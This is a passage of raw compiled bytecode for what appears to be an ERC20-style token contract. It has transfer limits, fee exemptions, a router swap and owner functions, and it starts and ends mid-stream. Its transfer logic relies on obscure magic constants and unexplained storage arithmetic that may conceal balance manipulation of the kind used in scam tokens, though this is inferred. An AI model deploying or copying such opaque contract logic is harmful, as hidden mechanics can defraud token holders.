1526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f62000a4862000ea360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000c08601c5462000bf9601b54601a5462000eca60201b90919060201c565b62000eca60201b90919060201c565b601f8190555062000c3d60195462000c2e60185460175462000eca60201b90919060201c565b62000eca60201b90919060201c565b6020819055506001600e5f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115460065f62000d0f62000e9c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555062000d5c62000e9c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60115460405162000dbc919062001641565b60405180910390a350620018a8565b5f80830362000ddd575f905062000e45565b5f828462000dec919062001515565b905082848262000dfd919062001689565b1462000e40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000e379062001744565b60405180910390fd5b809150505b92915050565b5f62000e9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000f2c60201b60201c565b905092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80828462000eda919062001764565b90508381101562000f22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f1990620017ec565b60405180910390fd5b8091505092915050565b5f808311829062000f75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f6c919062001886565b60405180910390fd5b505f838562000f85919062001689565b9050809150509392505050565b826004810192821562000fc4579160200282015b8281111562000fc357825182559160200191906001019062000fa6565b5b50905062000fd3919062000fd7565b5090565b5b8082111562000ff0575f815f90555060010162000fd8565b5090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200107057607f821691505b6020821081036200108657620010856200102b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620010ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620010ad565b620010f68683620010ad565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620011406200113a62001134846200110e565b62001117565b6200110e565b9050919050565b5f819050919050565b6200115b8362001120565b620011736200116a8262001147565b848454620010b9565b825550505050565b5f90565b620011896200117b565b6200119681848462001150565b505050565b5b81811015620011bd57620011b15f826200117f565b6001810190506200119c565b5050565b601f8211156200120c57620011d6816200108c565b620011e1846200109e565b81016020851015620011f1578190505b6200120962001200856200109e565b8301826200119b565b50505b505050565b5f82821c905092915050565b5f6200122e5f198460080262001211565b1980831691505092915050565b5f6200124883836200121d565b9150826002028217905092915050565b620012638262000ff4565b67ffffffffffffffff8111156200127f576200127e62000ffe565b5b6200128b825462001058565b62001298828285620011c1565b5f60209050601f831160018114620012ce575f8415620012b9578287015190505b620012c585826200123b565b86555062001334565b601f198416620012de866200108c565b5f5b828110156200130757848901518255600182019150602085019450602081019050620012e0565b8683101562001327578489015162001323601f8916826200121d565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620013c6578086048111156200139e576200139d6200133c565b5b6001851615620013ae5780820291505b8081029050620013be8562001369565b94506200137e565b94509492505050565b5f82620013e05760019050620014b2565b81620013ef575f9050620014b2565b8160018114620014085760028114620014135762001449565b6001915050620014b2565b60ff8411156200142857620014276200133c565b5b8360020a9150848211156200144257620014416200133c565b5b50620014b2565b5060208310610133831016604e8410600b8410161715620014835782820a9050838111156200147d576200147c6200133c565b5b620014b2565b62001492848484600162001375565b92509050818404811115620014ac57620014ab6200133c565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620014d1826200110e565b9150620014de83620014b9565b92506200150d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620013cf565b905092915050565b5f62001521826200110e565b91506200152e836200110e565b92508282026200153e816200110e565b915082820484148315176200155857620015576200133c565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200158e8262001563565b9050919050565b620015a08162001582565b8114620015ab575f80fd5b50565b5f81519050620015be8162001595565b92915050565b5f60208284031215620015dc57620015db6200155f565b5b5f620015eb84828501620015ae565b91505092915050565b620015ff8162001582565b82525050565b5f6040820190506200161a5f830185620015f4565b620016296020830184620015f4565b9392505050565b6200163b816200110e565b82525050565b5f602082019050620016565f83018462001630565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62001695826200110e565b9150620016a2836200110e565b925082620016b557620016b46200165c565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6200172c602183620016c0565b91506200173982620016d0565b604082019050919050565b5f6020820190508181035f8301526200175d816200171e565b9050919050565b5f62001770826200110e565b91506200177d836200110e565b92508282019050808211156200179857620017976200133c565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f620017d4601b83620016c0565b9150620017e1826200179e565b602082019050919050565b5f6020820190508181035f8301526200180581620017c6565b9050919050565b5f5b838110156200182b5780820151818401526020810190506200180e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f620018528262000ff4565b6200185e8185620016c0565b9350620018708185602086016200180c565b6200187b8162001836565b840191505092915050565b5f6020820190508181035f830152620018a0818462001846565b905092915050565b60805160a0516132af620018d85f395f8181610b380152610cad01525f8181610c820152610cd901526132af5ff3fe608060405260043610610269575f3560e01c8063807c2d9c11610143578063c816841b116100b5578063dd62ed3e11610079578063dd62ed3e14610962578063e176fe011461099e578063f0cd1dac146109da578063f2fde38b14610a04578063f680f79914610a2c578063f872858a14610a5657610270565b8063c816841b1461087e578063c867d60b146108a8578063d2d7ad83146108e4578063da00097d1461090e578063dc44b6a01461093857610270565b806395d89b411161010757806395d89b411461075e57806398e944c814610788578063a457c2d7146107b2578063a9059cbb146107ee578063b115e4df1461082a578063c5d241891461085457610270565b8063807c2d9c1461067a57806382eefb43146106a457806388790a68146106ce5780638b42507f146106f85780638da5cb5b1461073457610270565b806339509351116101dc5780635342acb4116101a05780635342acb41461055c578063701cf6f41461059857806370a08231146105c2578063715018a6146105fe5780637ae2b5c7146106145780637d1db4a51461065057610270565b806339509351146104665780633ecad271146104a25780634362d3c6146104de5780634a92d4c0146105085780635194f9bf1461053257610270565b806318160ddd1161022e57806318160ddd1461035857806323555d571461038257806323b872dd146103ac57806327c8f835146103e85780632b112e4914610412578063313ce5671461043c57610270565b8062851fb31461027457806306fdde031461029e5780630930907b146102c8578063095ea7b3146102f25780631694505e1461032e57610270565b3661027057005b5f80fd5b34801561027f575f80fd5b50610288610a80565b60405161029591906125bd565b60405180910390f35b3480156102a9575f80fd5b506102b2610aa6565b6040516102bf9190612660565b60405180910390f35b3480156102d3575f80fd5b506102dc610b36565b6040516102e991906126a0565b60405180910390f35b3480156102fd575f80fd5b506103186004803603810190610313919061271a565b610b5a565b6040516103259190612772565b60405180910390f35b348015610339575f80fd5b50610342610b77565b60405161034f91906127e6565b60405180910390f35b348015610363575f80fd5b5061036c610b9c565b604051610379919061280e565b60405180910390f35b34801561038d575f80fd5b50610396610ba5565b6040516103a3919061280e565b60405180910390f35b3480156103b7575f80fd5b506103d260048036038101906103cd9190612827565b610bab565b6040516103df9190612772565b60405180910390f35b3480156103f3575f80fd5b506103fc610c80565b60405161040991906126a0565b60405180910390f35b34801561041d575f80fd5b50610426610ca4565b604051610433919061280e565b60405180910390f35b348015610447575f80fd5b50610450610d21565b60405161045d9190612892565b60405180910390f35b348015610471575f80fd5b5061048c6004803603810190610487919061271a565b610d36565b6040516104999190612772565b60405180910390f35b3480156104ad575f80fd5b506104c860048036038101906104c391906128ab565b610de4565b6040516104d59190612772565b60405180910390f35b3480156104e9575f80fd5b506104f2610e01565b6040516104ff919061280e565b60405180910390f35b348015610513575f80fd5b5061051c610e07565b604051610529919061280e565b60405180910390f35b34801561053d575f80fd5b50610546610e0d565b604051610553919061280e565b60405180910390f35b348015610567575f80fd5b50610582600480360381019061057d91906128ab565b610e13565b60405161058f9190612772565b60405180910390f35b3480156105a3575f80fd5b506105ac610e30565b6040516105b9919061280e565b60405180910390f35b3480156105cd575f80fd5b506105e860048036038101906105e391906128ab565b610e36565b6040516105f5919061280e565b60405180910390f35b348015610609575f80fd5b50610612610e7c565b005b34801561061f575f80fd5b5061063a600480360381019061063591906128d6565b610fce565b604051610647919061280e565b60405180910390f35b34801561065b575f80fd5b50610664610fe8565b604051610671919061280e565b60405180910390f35b348015610685575f80fd5b5061068e610fee565b60405161069b919061280e565b60405180910390f35b3480156106af575f80fd5b506106b8610ff4565b6040516106c5919061280e565b60405180910390f35b3480156106d9575f80fd5b506106e2610ffa565b6040516106ef919061280e565b60405180910390f35b348015610703575f80fd5b5061071e600480360381019061071991906128ab565b611000565b60405161072b9190612772565b60405180910390f35b34801561073f575f80fd5b5061074861101d565b60405161075591906126a0565b60405180910390f35b348015610769575f80fd5b50610772611044565b60405161077f9190612660565b60405180910390f35b348015610793575f80fd5b5061079c6110d4565b6040516107a991906126a0565b60405180910390f35b3480156107bd575f80fd5b506107d860048036038101906107d3919061271a565b6110f9565b6040516107e59190612772565b60405180910390f35b3480156107f9575f80fd5b50610814600480360381019061080f919061271a565b6111c1565b6040516108219190612772565b60405180910390f35b348015610835575f80fd5b5061083e6111df565b60405161084b91906125bd565b60405180910390f35b34801561085f575f80fd5b50610868611204565b604051610875919061280e565b60405180910390f35b348015610889575f80fd5b5061089261120a565b60405161089f91906126a0565b60405180910390f35b3480156108b3575f80fd5b506108ce60048036038101906108c991906128ab565b61122f565b6040516108db9190612772565b60405180910390f35b3480156108ef575f80fd5b506108f861124c565b604051610905919061280e565b60405180910390f35b348015610919575f80fd5b50610922611252565b60405161092f9190612772565b60405180910390f35b348015610943575f80fd5b5061094c611265565b604051610959919061280e565b60405180910390f35b34801561096d575f80fd5b5061098860048036038101906109839190612914565b61126b565b604051610995919061280e565b60405180910390f35b3480156109a9575f80fd5b506109c460048036038101906109bf9190612952565b6112ed565b6040516109d1919061280e565b60405180910390f35b3480156109e5575f80fd5b506109ee611306565b6040516109fb919061280e565b60405180910390f35b348015610a0f575f80fd5b50610a2a6004803603810190610a2591906128ab565b61130c565b005b348015610a37575f80fd5b50610a406114c9565b604051610a4d919061280e565b60405180910390f35b348015610a61575f80fd5b50610a6a6114cf565b604051610a779190612772565b60405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054610ab5906129aa565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae1906129aa565b8015610b2c5780601f10610b0357610100808354040283529160200191610b2c565b820191905f5260205f20905b815481529060010190602001808311610b0f57829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b6d610b666114e0565b84846114e7565b6001905092915050565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601154905090565b601c5481565b5f610bb78484846116aa565b50610c7584610bc46114e0565b610c708560405180606001604052806028815260200161322d6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c276114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cc79092919063ffffffff16565b6114e7565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610d1c610cd17f0000000000000000000000000000000000000000000000000000000000000000610e36565b610d0e610cfd7f0000000000000000000000000000000000000000000000000000000000000000610e36565b601154611d2990919063ffffffff16565b611d2990919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610dda610d426114e0565b84610dd58560075f610d526114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7290919063ffffffff16565b6114e7565b6001905092915050565b600e602052805f5260405f205f915054906101000a900460ff1681565b601d5481565b601e5481565b60195481565b600d602052805f5260405f205f915054906101000a900460ff1681565b60185481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e846114e0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0790612a24565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f818310610fde57819050610fe2565b8290505b92915050565b60135481565b60145481565b60205481565b60175481565b6010602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611053906129aa565b80601f016020809104026020016040519081016040528092919081815260200182805461107f906129aa565b80156110ca5780601f106110a1576101008083540402835291602001916110ca565b820191905f5260205f20905b8154815290600101906020018083116110ad57829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111b76111056114e0565b846111b2856040518060600160405280602581526020016132556025913960075f61112e6114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cc79092919063ffffffff16565b6114e7565b6001905092915050565b5f6111d46111cd6114e0565b84846116aa565b506001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f602052805f5260405f205f915054906101000a900460ff1681565b60125481565b601660159054906101000a900460ff1681565b601a5481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600981600481106112fc575f80fd5b015f915090505481565b601f5481565b6113146114e0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612a24565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590612ab2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b60168054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612b40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba90612bce565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161169d919061280e565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090612c5c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612cea565b60405180910390fd5b601660149054906101000a900460ff16156117ae576117a7848484611dcf565b9050611cc0565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561184c575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561189757601354821115611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d90612d78565b60405180910390fd5b5b5f6118a130610e36565b90505f60125482101590508080156118c65750601660149054906101000a900460ff16155b80156119195750600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561194357601660159054906101000a900460ff16156119395760125491505b611942826120dc565b5b60168054906101000a900460ff1680156119a45750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a31576014546119ef6119d86103e86119ca6020548961219990919063ffffffff16565b61221090919063ffffffff16565b6119e188610e36565b611d7290919063ffffffff16565b1115611a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2790612e06565b60405180910390fd5b5b611a82611a5d6103e8611a4f6020548861219990919063ffffffff16565b61221090919063ffffffff16565b7e4189374bc6a828f7a18cb06e19dee2544c51f02d67c7c8d340e3ee7fffffff610fce565b6009600360048110611a9757611a96612e24565b5b0181905550611af7611ac86103e8611aba6020548861219990919063ffffffff16565b61221090919063ffffffff16565b85611ad39190612e7e565b7d01ad7f29abcaf485787a6520e78ebdbdd5a33140517c6dc34d0a7fffffff610fce565b6009600260048110611b0c57611b0b612e24565b5b018190555060105f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580611bae575060105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80611c505750600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611c4f5750600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b5b15611c745761044d601d5f828254611c689190612eb1565b92505081905550611cad565b61de16601e5414611c8c57611c87612259565b611cac565b610842601d5f828254611c9f9190612eb1565b925050819055601e819055505b5b611cb8868686611dcf565b506001925050505b9392505050565b5f838311158290611d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d059190612660565b60405180910390fd5b505f8385611d1c9190612e7e565b9050809150509392505050565b5f611d6a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cc7565b905092915050565b5f808284611d809190612eb1565b905083811015611dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbc90612f2e565b60405180910390fd5b8091505092915050565b5f611e57826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cc79092919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550601660149054906101000a900460ff1615611ee4575f6009600360048110611ec357611ec2612e24565b5b0181905550816009600260048110611ede57611edd612e24565b5b01819055505b5f611f316009600260048110611efd57611efc612e24565b5b01546103fc611f0c9190612eb1565b7e4189374bc6a7ef9db22d0ee176744c1c6792279b9e4e7e2e751e2a7fffffff610fce565b9050611f838160065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7290919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061202a6009600360048110611fdc57611fdb612e24565b5b015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7290919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120c8919061280e565b60405180910390a360019150509392505050565b6001601660146101000a81548160ff021916908315150217905550612100816122cd565b5f4790505f81111561217357600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612171573d5f803e3d5ffd5b505b6011601d81905550505f601660146101000a81548160ff02191690831515021790555050565b5f8083036121a9575f905061220a565b5f82846121b69190612f4c565b90508284826121c59190612fba565b14612205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fc9061305a565b60405180910390fd5b809150505b92915050565b5f61225183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061251d565b905092915050565b6001601d54600a601d5460bb61226f9190612eb1565b6122799190612e7e565b6122839190612eb1565b61228d9190612e7e565b601e819055506b0ced14b3c467ced5253f15dc60096003600481106122b5576122b4612e24565b5b015f8282546122c49190612eb1565b92505081905550565b5f600267ffffffffffffffff8111156122e9576122e8613078565b5b6040519080825280602002602001820160405280156123175781602001602082028036833780820191505090505b50905060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612384573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123a891906130b9565b816001815181106123bc576123bb612e24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030815f8151811061240a57612409612e24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124703060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114e7565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016124d29594939291906131d4565b5f604051808303815f87803b1580156124e9575f80fd5b505af11580156124fb573d5f803e3d5ffd5b50505050601d54601e819055506011601d81905550601d54601e819055505050565b5f8083118290612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255a9190612660565b60405180910390fd5b505f83856125719190612fba565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125a78261257e565b9050919050565b6125b78161259d565b82525050565b5f6020820190506125d05f8301846125ae565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561260d5780820151818401526020810190506125f2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612632826125d6565b61263c81856125e0565b935061264c8185602086016125f0565b61265581612618565b840191505092915050565b5f6020820190508181035f8301526126788184612628565b905092915050565b5f61268a8261257e565b9050919050565b61269a81612680565b82525050565b5f6020820190506126b35f830184612691565b92915050565b5f80fd5b6126c681612680565b81146126d0575f80fd5b50565b5f813590506126e1816126bd565b92915050565b5f819050919050565b6126f9816126e7565b8114612703575f80fd5b50565b5f81359050612714816126f0565b92915050565b5f80604083850312156127305761272f6126b9565b5b5f61273d858286016126d3565b925050602061274e85828601612706565b9150509250929050565b5f8115159050919050565b61276c81612758565b82525050565b5f6020820190506127855f830184612763565b92915050565b5f819050919050565b5f6127ae6127a96127a48461257e565b61278b565b61257e565b9050919050565b5f6127bf82612794565b9050919050565b5f6127d0826127b5565b9050919050565b6127e0816127c6565b82525050565b5f6020820190506127f95f8301846127d7565b92915050565b612808816126e7565b82525050565b5f6020820190506128215f8301846127ff565b92915050565b5f805f6060848603121561283e5761283d6126b9565b5b5f61284b868287016126d3565b935050602061285c868287016126d3565b925050604061286d86828701612706565b9150509250925092565b5f60ff82169050919050565b61288c81612877565b82525050565b5f6020820190506128a55f830184612883565b92915050565b5f602082840312156128c0576128bf6126b9565b5b5f6128cd848285016126d3565b91505092915050565b5f80604083850312156128ec576128eb6126b9565b5b5f6128f985828601612706565b925050602061290a85828601612706565b9150509250929050565b5f806040838503121561292a576129296126b9565b5b5f612937858286016126d3565b9250506020612948858286016126d3565b9150509250929050565b5f60208284031215612967576129666126b9565b5b5f61297484828501612706565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806129c157607f821691505b6020821081036129d4576129d361297d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612a0e6020836125e0565b9150612a19826129da565b602082019050919050565b5f6020820190508181035f830152612a3b81612a02565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a9c6026836125e0565b9150612aa782612a42565b604082019050919050565b5f6020820190508181035f830152612ac981612a90565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b2a6024836125e0565b9150612b3582612ad0565b604082019050919050565b5f6020820190508181035f830152612b5781612b1e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612bb86022836125e0565b9150612bc382612b5e565b604082019050919050565b5f6020820190508181035f830152612be581612bac565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c466025836125e0565b9150612c5182612bec565b604082019050919050565b5f6020820190508181035f830152612c7381612c3a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cd46023836125e0565b9150612cdf82612c7a565b604082019050919050565b5f6020820190508181035f830152612d0181612cc8565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f612d626028836125e0565b9150612d6d82612d08565b604082019050919050565b5f6020820190508181035f830152612d8f81612d56565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f612df06025836125e0565b9150612dfb82612d96565b604082019050919050565b5f6020820190508181035f830152612e1d81612de4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612e88826126e7565b9150612e93836126e7565b9250828203905081811115612eab57612eaa612e51565b5b92915050565b5f612ebb826126e7565b9150612ec6836126e7565b9250828201905080821115612ede57612edd612e51565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612f18601b836125e0565b9150612f2382612ee4565b602082019050919050565b5f6020820190508181035f830152612f4581612f0c565b9050919050565b5f612f56826126e7565b9150612f61836126e7565b9250828202612f6f816126e7565b91508282048414831517612f8657612f85612e51565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612fc4826126e7565b9150612fcf836126e7565b925082612fdf57612fde